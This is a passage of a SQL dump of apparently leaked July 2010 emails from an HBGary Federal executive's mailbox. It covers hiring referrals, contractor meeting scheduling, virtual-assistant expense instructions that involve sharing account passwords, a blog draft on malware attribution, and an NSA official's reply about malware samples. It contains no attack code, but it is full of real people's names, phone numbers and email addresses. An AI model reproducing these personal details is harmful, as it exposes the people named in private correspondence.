\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for\r\nchecking it out.&nbsp; I look forward to hearing your thoughts on this positive or\r\nnegative.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, July 23, 2010 9:33 AM\r\nTo: Copeland, Johna Y (TASC)\r\nCc: aaron@hbgary.com\r\nSubject: Re: Resume\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Johna,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGood to hear from you. &nbsp;I\'ll take a look at the resume.\r\n&nbsp;The work Aaron mentions still needs to firm up, so we can\'t promise\r\nanything. &nbsp;I hope you have a great weekend!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Thu, Jul 22, 2010 at 11:57 AM, Copeland, Johna Y (TASC) &lt;Johna.Copeland@tasc.com&gt; wrote:\r\n\r\nHey guys,\r\nHope all is well with the two of you. &nbsp;I saw Aaron\'s page on Linkedin that\r\nyou guys are &quot;Currently looking for software developers, testers, and\r\nreverse engineers for some classified work starting early fall. Must have\r\nclearances&quot;. &nbsp;I am not sure all what that entails but this summer I\r\nwas talking to My son\'s BBall coach and he was looking for a job at the end of\r\nSeptember as his contract expires with L3. &nbsp;When I saw Aaron\'s add I\r\nthought maybe this guys would be a good fit. He is &nbsp;great guy and I am\r\nhoping there is something in his resume that you can use. &nbsp;He would be\r\ninterested in chatting with you two if you see any possibilities from his\r\nresume.\r\n\r\nJohna Y. Copeland\r\nCyber Engineering and Warfighter Support Operating Unit, Executive\r\nAdministrator\r\n1795 Jet Wing Drive, Suite 100\r\nColorado Springs, CO 80916\r\nWork Phone: &nbsp;719-622-5609\r\nefax: 978-684-3749\r\nFax: &nbsp;719-622-5610\r\nEmail: johna.copeland@tasc.com\r\nTell me and I&#8217;ll forget, show me and I may remember, involve me and I&#8217;ll\r\nunderstand.\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5775,'aaron_hbgary_com/5775.html'),(9086,'2010-07-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006984.M831466P14101Q3942.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: EXTERNAL: Update from Ted','Begin forwarded message:From: &quot;Pugsley, Brandon&quot; &lt;brandon.pugsley@lmco.com&gt;\r\nDate: July 23, 2010 9:40:41 AM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Cc: &quot;Mcculloch, Scott D&quot; &lt;scott.d.mcculloch@lmco.com&gt;\r\nSubject: RE: EXTERNAL: Update from Ted\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nLikewise!  Scott did send me the whitepapers.  Let me\r\nget a look and see what technical folks/activities tie in.  I’m\r\nworking across some of the broader initiatives, and your team’s expertise\r\nis well beyond my depth.  I look forward to learning more about what you\r\nare working to accomplish, and seeing if we can leverage it appropriately.\r\n\r\n \r\n\r\nBest,\r\n\r\nBrandon\r\n\r\n \r\n\r\n \r\n\r\nBrandon Pugsley\r\n\r\nInformation Systems &amp; Global Services-Security\r\n\r\nBusiness Development, Advanced Programs\r\n\r\nOffice 703.466.2788\r\n\r\nCell 703-999-9162\r\n\r\nPager 800-200-5295\r\n\r\nbrandon.pugsley@lmco.com\r\n\r\n\r\n',13546,'aaron_hbgary_com/13546.html'),(9087,'2010-07-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006984.M99157P14101Q3940.eml','\"Copeland, Johna Y (TASC)\" <Johna.Copeland@tasc.com>,\"Copeland, Johna Y (TASC)\" <Johna.Copeland@tasc.com>','Re: Resume','Hi Johna,Good to hear from you.  I&#39;ll take a look at the resume.  The work Aaron mentions still needs to firm up, so we can&#39;t promise anything.  I hope you have a great weekend!\r\nTedOn Thu, Jul 22, 2010 at 11:57 AM, Copeland, Johna Y (TASC) &lt;Johna.Copeland@tasc.com&gt; wrote:\r\nHey guys,\r\nHope all is well with the two of you.  I saw Aaron&#39;s page on Linkedin that you guys are &quot;Currently looking for software developers, testers, and reverse engineers for some classified work starting early fall. Must have clearances&quot;.  I am not sure all what that entails but this summer I was talking to My son&#39;s BBall coach and he was looking for a job at the end of September as his contract expires with L3.  When I saw Aaron&#39;s add I thought maybe this guys would be a good fit. He is  great guy and I am hoping there is something in his resume that you can use.  He would be interested in chatting with you two if you see any possibilities from his resume.\r\n\r\n\r\nJohna Y. Copeland\r\nCyber Engineering and Warfighter Support Operating Unit, Executive Administrator\r\n1795 Jet Wing Drive, Suite 100\r\nColorado Springs, CO 80916\r\nWork Phone:  719-622-5609\r\nefax: 978-684-3749\r\nFax:  719-622-5610\r\nEmail: johna.copeland@tasc.com\r\nTell me and I’ll forget, show me and I may remember, involve me and I’ll understand.\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',11403,'aaron_hbgary_com/11403.html'),(9088,'2010-07-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006986.M978498P14101Q3943.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com,\"Ted Vera\" <ted@hbgary.com>','Expense Reports','I put together the following to make it easier to submit expense reports to TimeSVR for completion.  Save the attachment in your &quot;assistant&quot; gmail account google docs.When I submit the task I send the following instructions along with a copy of the receipt attached:\r\n\r\nPlease complete an expense report using the attached receipt.\r\nThe blank expense report form can be found in my Google Docs, use the Google Calendar username and password you have on file to login.\r\nDownload the blank form, the filename is Miscellaneous and Local Expenses.xls.  Note, you must download the form, you cannot edit it in Google Docs or we lose formatting.\r\nFollow the instructions and refer to the Sample found on the Example &amp; Instructions Tab to complete the Expense Form &amp; Receipts Tabs.\r\nEmail me the completed expense report and upload it in Google Docs under the Completed Expense Reports folder using today’s date in the file naming convention YYMMDD_Miscellaneous and Local Expenses.xls.\r\nI will send another with the travel expense report later. -- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',1238,'aaron_hbgary_com/1238.html'),(9089,'2010-07-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006989.M75706P14101Q3944.eml','\"Virtual Assistant\" <tasks@timesvr.com>','Expense Report','\r\nPlease complete an expense report using the attached receipt.\r\n\r\nThe blank expense report form can be found in my Google Docs, use the Google Calendar username and password you have on file to login.\r\n\r\nDownload the blank form, the filename is Miscellaneous and Local Expenses.xls.  Note, you must download the form, you cannot edit it in Google Docs or we lose formatting.\r\n\r\nFollow the instructions and refer to the Sample found on the Example &amp; Instructions Tab to complete the Expense Form &amp; Receipts Tabs.\r\n\r\nEmail me the completed expense report and upload it in Google Docs under the Completed Expense Reports folder using today’s date in the file naming convention YYMMDD_Miscellaneous and Local Expenses.xls.\r\nThank you!Ted\r\n\r\n',3617,'aaron_hbgary_com/3617.html'),(9090,'2010-07-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006993.M236114P14101Q3945.eml','\"Virtual Assistant\" <tasks@timesvr.com>','Fwd: doc0023','**NOTE:  This is a low-priority task - please complete within 7 days.\r\n\r\n1. Please complete an expense report using the attached receipt.\r\n2. The blank expense report form can be found in my Google Docs, use\r\nthe Google Calendar username and password you have on file to login.\r\n3. Download the blank form, the filename is Miscellaneous and Local\r\nExpenses.xls.  Note, you must download the form, you cannot edit it in\r\nGoogle Docs or we lose formatting.\r\n4. Follow the instructions and refer to the Sample found on the\r\nExample & Instructions Tab to complete the Expense Form & Receipts\r\nTabs.\r\n5. Email me the completed expense report and upload it in Google Docs\r\nunder the Completed Expense Reports folder using today’s date in the\r\nfile naming convention YYMMDD_Miscellaneous and Local Expenses.xls.\r\n\r\nThank you!\r\nTed\r\n',12588,'aaron_hbgary_com/12588.html'),(9091,'2010-07-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006993.M911204P14101Q3946.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Blog Entry Draft','I think it\'s good\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 23, 2010 7:41 AM\r\nTo: Karen Burke\r\nCc: Greg Hoglund; Penny Leavy\r\nSubject: Blog Entry Draft\r\n\r\nBlog entry I am working on.  Let me know if you think I am on the right\r\ntrack.  I will finish it up tonight.\r\n\r\n------------\r\nAs a nation we are hemorrhaging; our government, military, corporate, and\r\nfinancial institutions are being robbed of their intellectual property and\r\ncritical resources continuously.  Individual banks measure their loses in\r\nthe millions per month.  Commercial corporations are watching their\r\ninnovation, their intellectual property stream overseas.  Our military and\r\ngovernment infrastructures, the core of what keeps us safe and in a position\r\nof power are being breeched regularly, national secrets accessed, and we are\r\nnearly powerless to stop the majority of these attacks.  Why?  Because we\r\nlack a fundamental ability to attribute the threat, attribute the source and\r\nintent of the attack.  Without attribution we can not develop and execute\r\ncourses of action (COAs) against cyber threats and establish foreign\r\npolicies governing cyber based threats.\r\n\r\nThis is not new.  The government and intelligence community have been\r\ndiscussing attribution actively since the the CNCI was signed by President\r\nBush in 2007.  It was a top priority then and still is today.  Given the\r\nspan of nearly 3 years we are still not much closer in developing\r\ncapabilities and methodologies that significantly advance on the attribution\r\nproblem.  The challenges are clearly understood.  Sources of attack can be\r\nspoofed, false flag operations executed, in the end unless there are some\r\nother indicators or sources of intelligence that can be tied to a cyber\r\nbased attack, the likelihood of being able to attribute an attack is\r\nunlikely.\r\n\r\nUntil today.\r\n\r\nThe FingerPrint tool being released today takes a big step in the direction\r\nof attribution.  The source of the tools success lies within the vehicles of\r\nattack themselves - malware.  Like styles used by authors, or painters.\r\nMalware creators have specific styles, they use a specific set of tools, and\r\nthey develop in specific environments.  All of these threat markers are\r\nidentifiable and not easily masked.  The FingerPrint tool pulls these\r\nvariables from the malware allowing for more rapid association and\r\ncorrelation of malware that was created in the same development environment\r\nby the same authors...\r\n\r\n...\r\n\r\n------------------\r\nNOTES\r\nDeveloping an ability to attribute cyber-based attacks is critical to our\r\nability to develop adequate foreign policy and courses of action (COAs)\r\nagainst attacks.  But this is no small task.  Unlike all of the other\r\nchannels of commerce; land, air, sea, and space; cyberspace allows \r\n\r\nWe must start somewhere, developing the technologies and the methodologies\r\nfor cyber analysis.\r\n\r\nAttribution is a big big problem for the nation.  We can\'t develop policy\r\nand COAs (courses of action) if we don\'t know where the attack came from,\r\nthis leaves us stone silent when we watch our IP leaving our country in\r\nrivers.  Since we can cluster malware based on environmental characteristics\r\nwe can also make associations of those internal characteristics.  One piece\r\nof malware has this little tidbit, this one has this little tidbit, maybe\r\nits a handle, maybe another developer is added into the mix for one piece of\r\nmalware and we have him nailed through other analysis, we can now make ties\r\nto the rest of the group.  Lots of possibilities if the fingerprinting tool\r\nis combined with Open source and classified intelligence.\r\n\r\nFingerprint + TMC + Social Media Collection/Analysis = True Threat\r\nIntelligence (unclassified).  Add SIGINT and HUMINT data for True classified\r\nthreat intelligence.\r\n\r\nIn Cybersecurity there are only 3 really important initiatives; threat\r\nintelligence, incident response, and offense.  Every thing else is fingers\r\nin the dam.  And having capabilities in all three is critical because they\r\nfeed each other.  If we have the products, the intelligence repository, as\r\nwell as the ability to develop offensive capabilities.  Thats the sweet\r\nspot.  The products are getting there.  We have the offensive capability and\r\nare just working to get into the right programs.  We need the repository.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',4673,'aaron_hbgary_com/4673.html'),(9092,'2010-07-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006998.M346400P14101Q3947.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','FW: NMCIWG: Weekly Espionage Newsletter','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Friday, July 23, 2010 6:22 AM\r\nSubject: FW: NMCIWG: Weekly Espionage Newsletter\r\n\r\n \r\n\r\nSubject: NMCIWG: Weekly Espionage Newsletter\r\n\r\nThis week\'s articles:\r\n\r\n*       Ukraine Says Expels Four Russians For Spying \r\n\r\n*       Russian FSB admits fact of espionage in Ukraine\r\n\r\n*       Cyber Espionage Targets Government Contractors\r\n\r\n*       U.K. Firm Pleads Guilty to Illegally Exporting Boeing 747 to\r\nIran\r\n\r\n*       SKorean, US Firms Embroiled in Chip Espionage Case\r\n\r\n*       Researcher Claims iPhone Apps Could Spy on You\r\n\r\n*       Lightsaber Duel, USB Style\r\n\r\n',1137,'aaron_hbgary_com/1137.html'),(9093,'2010-07-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006998.M678251P14101Q3948.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Using TimeSVR','This is how Mark and I have things set up to best utilize TimeSvr:\r\n\r\n1.  Create a new google account, something like:  aaronbarr.assistant@gmail.com\r\n2.  Share your hbgary calendar (show free/busy status only) to\r\naaronbarr.assistant@gmail.com.\r\n3.  Share your aaronbarr.assistant@gmail.com calendar (full\r\npriviledges) to your aaron@hbgary.com acct.\r\n4.  Upload the expense report into your aaronbarr.assistant@gmail.com\r\nacct.  Make sure you uncheck the \"convert to google docs\", otherwise\r\nyou\'ll lose formatting and they cannot embed the receipt image in the\r\nfile.\r\n\r\nHope this helps, I\'ll send a similar template for the Travel expense report.\r\n\r\nTed\r\n',8769,'aaron_hbgary_com/8769.html'),(9094,'2010-07-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006998.M915628P14101Q3949.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: Is effective incident response in highly complex environments 	even possible?','---------- Forwarded message ----------\r\nFrom: ISSA Connect \r\nDate: Fri, Jul 23, 2010 at 11:27 AM\r\nSubject: Is effective incident response in highly complex environments\r\neven possible?\r\nTo: ISSA_Enews@lists.issa.org\r\n\r\n\r\nIs effective incident response in highly complex environments (think\r\ncloud) even possible?\r\n\r\nIncident response is already challenging, but when we contemplate\r\nconducting effective IR in cloud environments, huge caching networks,\r\ndynamic and virtualized host management platforms, and the massive\r\nnetworks they all require, it becomes significantly more difficult.\r\n\r\nAs enterprise computing embraces the cloud, virtualization, and SaaS,\r\nincident response tooling and methodology must keep up.\r\n\r\nI certainly never feel like I\'m operating at a 100% in this capacity;\r\nthere\'s always room to improve. If we are to keep pace with the\r\nenvironments in which we respond, how best to do it?\r\n\r\nEach month as I write toolsmith I do so with the intention of\r\nenhancing both your capabilities and my own, as I certainly learn in\r\nthe process too.\r\n\r\nContinue reading this discussion posted by Russ McRee and leave your\r\ncomments and questions by Clicking Here.\r\n\r\nTake the poll on which tools you have used during an Incident\r\nResponse. Click Here for the poll.\r\n\r\nInternational Election Results\r\n\r\nWe extend our congratulations to your new Board representatives and\r\nour heartfelt appreciation to all of the candidates. It is an honor to\r\nbe nominated and a tribute to their dedication and commitment to our\r\nprofession.\r\n\r\nThe ballots have been counted and certified and we are pleased to\r\nannounce your newly-elected Board members.\r\n\r\nYour Board and Nominating/Election Committee would appreciate your\r\nfeedback on your voting experience.\r\n\r\nIn the ISSA Journal: Information Security Basics\r\n\r\nIT information security programs are built on the building blocks of\r\ninformation security basics. The mortar for these blocks are the basic\r\nprinciples of security: confidentiality, integrity, and availability.\r\nThe blocks that form the foundation are a variety of fundamental\r\nsecurity topics such as risk assessments, security policies, asset\r\nmanagement, physical security, operational management, and incident\r\nmanagement to name a few. Understanding the concepts that define the\r\nbasics of information security is critical to building a robust\r\nsecurity program. This article will describe these basics and give\r\ntangible examples of the types of topics and decisions you must\r\ngrapple with to build such a program.\r\n\r\nRead the article in Connect and ask Didier Stevens (ISSA member,\r\nBrussels European Chapter) a question and leave your thoughts for your\r\nfellow ISSA members.\r\n\r\nView the July issue (and back issues as well) on your PC, laptop,\r\nsmartphone, Kindle, iPad, etc., and take it with you on the go!\r\n\r\n\r\n\r\nMost Popular Topics: Join the Discussion\r\n\r\nIn the last seven days, members have commented on the following\r\nsubjects. Your experience, perspective and assessment are valuable to\r\nyour peers. Give your input today!\r\n\r\n·         Quantifiable Security Data\r\n\r\n·         ISSA gathering at Black Hat!\r\n\r\n·         Does it really required to learn Programming to be a\r\nsecurity or ethical hacker\r\n\r\nThis E-Mail Broadcast, along with all others, is a benefit of your\r\nmembership in the ISSA - Information Systems Security Association,\r\nInc. If you wish to be removed from future broadcasts, simply send a\r\nmessage to customercare@issa.org with \"Remove from E-Mail list\" in the\r\nsubject line. Please note, if removed you will miss out on important\r\nassociation updates. For a copy of ISSA\'s privacy statement and\r\nwebcast policies, visit:\r\nhttp://www.issa.org/Association/Privacy-Policy.html\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10929,'aaron_hbgary_com/10929.html'),(9095,'2010-07-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006999.M151561P14101Q3950.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Using TimeSVR','Thanks.  You know mr too well.  This will really help mr use it effectively.\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 23, 2010, at 12:32 PM, Ted Vera  wrote:\r\n\r\n> This is how Mark and I have things set up to best utilize TimeSvr:\r\n> \r\n> 1.  Create a new google account, something like:  aaronbarr.assistant@gmail.com\r\n> 2.  Share your hbgary calendar (show free/busy status only) to\r\n> aaronbarr.assistant@gmail.com.\r\n> 3.  Share your aaronbarr.assistant@gmail.com calendar (full\r\n> priviledges) to your aaron@hbgary.com acct.\r\n> 4.  Upload the expense report into your aaronbarr.assistant@gmail.com\r\n> acct.  Make sure you uncheck the \"convert to google docs\", otherwise\r\n> you\'ll lose formatting and they cannot embed the receipt image in the\r\n> file.\r\n> \r\n> Hope this helps, I\'ll send a similar template for the Travel expense report.\r\n> \r\n> Ted\r\n',4211,'aaron_hbgary_com/4211.html'),(9096,'2010-07-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006999.M398488P14101Q3951.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Using TimeSVR','No problem.\r\n\r\nAfter you\'ve done the steps below, log in to your timesrv account and\r\nunder Preferences, Online Life, add the username and password for your\r\ngmail account (aaronbarr.assistant@gmail.com) so they can access it...\r\n\r\nTed\r\n\r\n\r\n\r\nOn Fri, Jul 23, 2010 at 11:44 AM, Aaron Barr  wrote:\r\n> Thanks.  You know mr too well.  This will really help mr use it effectively.\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Jul 23, 2010, at 12:32 PM, Ted Vera  wrote:\r\n>\r\n>> This is how Mark and I have things set up to best utilize TimeSvr:\r\n>>\r\n>> 1.  Create a new google account, something like:  aaronbarr.assistant@gmail.com\r\n>> 2.  Share your hbgary calendar (show free/busy status only) to\r\n>> aaronbarr.assistant@gmail.com.\r\n>> 3.  Share your aaronbarr.assistant@gmail.com calendar (full\r\n>> priviledges) to your aaron@hbgary.com acct.\r\n>> 4.  Upload the expense report into your aaronbarr.assistant@gmail.com\r\n>> acct.  Make sure you uncheck the \"convert to google docs\", otherwise\r\n>> you\'ll lose formatting and they cannot embed the receipt image in the\r\n>> file.\r\n>>\r\n>> Hope this helps, I\'ll send a similar template for the Travel expense report.\r\n>>\r\n>> Ted\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',904,'aaron_hbgary_com/904.html'),(9097,'2010-07-23','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297006999.M693852P14101Q3952.eml','\"Christopher Clair\" <christopher.clair@tasc.com>,\"Chris Kozlow\" <chris@nppglobal.com>,\"Doug Smith\" <douglas.c.smith@ericsson.com>,\"Aaron Barr\" <aaron@hbgary.com>','Introduction','\r\n\r\nIntroduction\r\n\r\n\r\nGentlemen - \r\n\r\nAs a follow-up to recent discussions about a potential collaboration opportunity - allow me to introduce everyone. \r\n\r\nChris C. and Aaron &#8211; Doug and Chris K. from Ericsson Federal may be able to provide some infrastructure support to the program we are pursuing. &nbsp;\r\n\r\nDoug and Chris K &#8211; Chris C. is the capture manager from TASC for the opportunity I mentioned to you. &nbsp;Aaron is the former USG program manager for the initiative. &nbsp;His company, HB Gary, and Archimedes are sub-contractors to TASC.\r\n\r\nIf possible, I&#8217;d like to arrange a meeting at TASC HQ next Friday, the 30th at 1000. &nbsp;Let me know if this works for everyone. &nbsp;Provided it works, Doug and Chris will need to have their clearances sent over to TASC. &nbsp;\r\n\r\nAaron &#8211; I know you may not have returned in time for this meeting. &nbsp;If this doesn&#8217;t work for you, let&#8217;s arrange another time to discuss in further detail the potential opportunity that Doug and Chris have for some of the customers you have worked for/with previously. &nbsp;\r\n\r\nHave a good weekend - \r\n\r\nTim \r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n',7328,'aaron_hbgary_com/7328.html'),(9098,'2010-07-23','\"Brian Coulson\" <bcoulson@digitalglobe.com>','/aaron@hbgary.com/new/1297006999.M964353P14101Q3953.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: Portal','Ted,\r\n\r\nThank you again! I also received a message from Charles too. I just\r\ninstalled the product and have my machine ID. I just emailed Charles\r\nasking if he can provide a product key based on Machine ID c590b91f.\r\n\r\nSincerely,\r\nBrian Coulson\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, July 21, 2010 11:46 AM\r\nTo: Brian Coulson\r\nCc: Barr Aaron; Lucas Maria\r\nSubject: Portal\r\n\r\nHello Brian,\r\n\r\nCharles has updated your portal account so you should now be able to\r\ndownload Responder Pro.\r\n\r\nNice talking with you. Aaron and I will develop a quote for the\r\ntraining.\r\n\r\nRegards,\r\nTed\r\n\r\nThis electronic communication and any attachments may contain confidential and proprietary \r\ninformation of DigitalGlobe, Inc. If you are not the intended recipient, or an agent or employee \r\nresponsible for delivering this communication to the intended recipient, or if you have received \r\nthis communication in error, please do not print, copy, retransmit, disseminate or \r\notherwise use the information. Please indicate to the sender that you have received this \r\ncommunication in error, and delete the copy you received. DigitalGlobe reserves the \r\nright to monitor any electronic communication sent or received by its employees, agents \r\nor representatives.\r\n\r\n',2285,'aaron_hbgary_com/2285.html'),(9099,'2010-07-23','tjriesen@archimedesglobal.com','/aaron@hbgary.com/new/1297007000.M196747P14101Q3954.eml','\"Christopher Clair\" <christopher.clair@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: EXTERNAL:Next Week','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nRe: EXTERNAL:Next Week\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\nChris - For the demo - can you tell me the proposed date?  I have the tech guys working up a concept and costing based on what you provided.  I think I\'d like to arrange a conf call next week sometime.  Work for you? Also, I spoke with Telemus Raytheon about COIN.  They have not made a decision yet. Do you want to meet with them next week?Also, let\'s confirm dinner Thursday night. I am looking forward to it. From:  \"Clair, Chris (TASC)\" &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nDate: Thu, 22 Jul 2010 14:38:24 -0400To: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;; Aaron Barr&lt;aaron@hbgary.com&gt;Subject: RE: EXTERNAL:Next Week\r\n\r\n\r\n\r\nSounds good to me.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Tim Riesen\r\n[mailto:tjriesen@archimedesglobal.com] \r\nSent: Thursday, July 22, 2010 8:53 AM\r\nTo: Clair, Chris (TASC); Aaron Barr\r\nSubject: Re: EXTERNAL:Next Week\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nChris - \r\n\r\nOk &#8211; will shoot for Wednesday to Friday. &nbsp;Aaron mentioned he might\r\nbe back in time for a Friday PM meeting. &nbsp;If that is indeed workable,\r\nlet&#8217;s shoot for a Thursday night dinner and a Friday meeting. &nbsp;\r\n\r\nTim \r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Christopher Clair &lt;christopher.clair@tasc.com&gt;\r\nDate: Wed, 21 Jul 2010 21:49:57 -0400\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;,\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: RE: EXTERNAL:Next Week\r\n\r\nHi Tim,\r\n\r\nMonday and Tuesday are bad. &nbsp;The rest of the week is open. &nbsp;I think\r\nAaron will be out of town but we can handle the meeting if necessary. \r\n\r\nDo you have any nights free for that week? &nbsp;We can cook a few steaks and\r\ndrink a beer or two. &nbsp;Aaron you are welcome to come too. \r\n\r\nLet me know. \r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Tim Riesen [mailto:tjriesen@archimedesglobal.com]\r\nSent: Wed 7/21/2010 9:25 PM\r\nTo: Aaron Barr; Clair, Chris (TASC)\r\nSubject: EXTERNAL:Next Week\r\n\r\nGentlemen -\r\n\r\nDo you have an interest in meeting with the telecom infrastructure people\r\nnext week? \r\n\r\nAaron &#8211; for the McLean for the meeting?\r\n\r\nAaron and Chris &#8211; for the infrastructure piece of the COIN proposal?\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc.\r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7347,'aaron_hbgary_com/7347.html'),(9100,'2010-07-23','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','/aaron@hbgary.com/new/1297007000.M429210P14101Q3955.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Attribution','Aaron,\r\n\r\nThis is not something that I can arrange at my level.  Any malware that my\r\nteam would have would have been collected from our customers, so you can\r\nimagine that I can not easily share these binaries outside of the\r\ngovernment.  This project seems to dovetail on the talk that Greg provided\r\nat REBL.  I am very interested in the results.\r\n\r\nScott K. Brown\r\nTechnical Director\r\nNSA Blue Team\r\n(410) 854-6529\r\nsbrown@dewnet.ncsc.mil\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 10:27 PM\r\nTo: Aaron Barr\r\nSubject: Attribution\r\n\r\nI am sending this request to a small group of individuals.  Please do not\r\nforward this email to third parties.  HBGary is working hard to help solve\r\nthe attribution problem.  We have developed a fingerprint tool which\r\nextracts toolmarks left behind in malware executables.  We use these\r\ntoolmarks to cluster exploits together which were compiled on the same\r\ncomputer system or development environment.  Notice the clusters in the\r\ngraphic below. These groupings illustrate the relationships between over\r\n3000 malware samples.\r\n\r\nWe need your help to further validate and improve the tool.  Eventually you\r\ncan imagine combining this data with open source and intelligence data.  I\r\ncan see attribution as potentially a solvable problem.  We need your malware\r\nsamples, as many as you can provide.  This is not something we are looking\r\nto profit from directly, we will be giving this tool away at Blackhat, so\r\nhelping us improve the tool will help the community beat back the threat.\r\nIf possible please have your representative CISOs or cybersecurity personnel\r\nsend malware samples in a password protected zip file.  Provide the password\r\nvia phone 719-510-8478 or fax to:  720-836-4208 we need your samples as soon\r\nas possible.  Samples provided will not be shared with third parties and\r\nyour participation will be held in strict confidence.\r\n\r\nIn exchange for your help, I will provide you with a summary report of our\r\nfindings and you will have made a significant contribution to securing\r\nAmerica\'s networks. \r\n\r\n\r\n',5545,'aaron_hbgary_com/5545.html'),(9101,'2010-07-23','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297007000.M651287P14101Q3956.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Chris Kozlow\" <chris@nppglobal.com>,\"Doug Smith\" <douglas.c.smith@ericsson.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','\r\n\r\n\r\n\r\n\r\nIntroduction\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTim &#8211; Thanks for the introduction.\r\n\r\n&nbsp;\r\n\r\nIf you are passing your clearance please pass it to our Security\r\nData Center at (u) 703-449-3400 or (s) 703-449-1063.&nbsp; Put Attention Chris\r\nClair on it and I will get it.\r\n\r\n&nbsp;\r\n\r\nFriday works for me and am happy to 